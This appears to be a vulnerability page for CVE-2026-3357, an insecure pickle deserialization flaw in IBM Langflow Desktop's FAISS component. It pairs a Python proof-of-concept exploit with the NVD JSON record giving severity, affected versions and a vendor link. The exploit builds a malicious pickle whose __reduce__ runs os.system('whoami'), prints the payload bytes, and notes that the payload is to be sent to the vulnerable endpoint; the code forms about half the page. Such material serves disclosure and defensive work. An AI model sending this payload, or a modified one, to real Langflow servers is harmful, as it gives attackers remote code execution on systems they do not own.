CVE-2026-3357

import pickle import os # Define a class to execute system commands upon deserialization class DeserializationExploit: def __reduce__(self): # The payload to be executed: e.g., creating a file or running a shell command return (os.system, ('whoami',)) # Serialize the malicious object malicious_data = pickle.dumps(DeserializationExploit()) print(f"[+] Generated malicious payload (Length: {len(malicious_data)})") print(f"[+] Payload bytes (hex): {malicious_data.hex()}") # Simulation: In a real attack, send 'malicious_data' to the vulnerable FAISS endpoint. # The server-side code would look like: pickle.loads(user_input) # which triggers the exploit. try: # Simulating the vulnerable component processing the data print("[+] Simulating server-side deserialization...") pickle.loads(malicious_data) except Exception as e: print(f"[-] Error during execution: {e}")

{"cve": {"id": "CVE-2026-3357", "sourceIdentifier": "[email protected]", "published": "2026-04-08T01:16:41.057", "lastModified": "2026-04-14T21:28:34.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Langflow Desktop 1.6.0 through 1.8.2 Langflow could allow an authenticated user to execute arbitrary code on the system, caused by an insecure default setting which permits the deserialization of untrusted data in the FAISS component."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndExcluding": "1.8.3", "matchCriteriaId": "FB101015-F52D-4FE2-BBED-2CFC46ABF673"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7268428", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}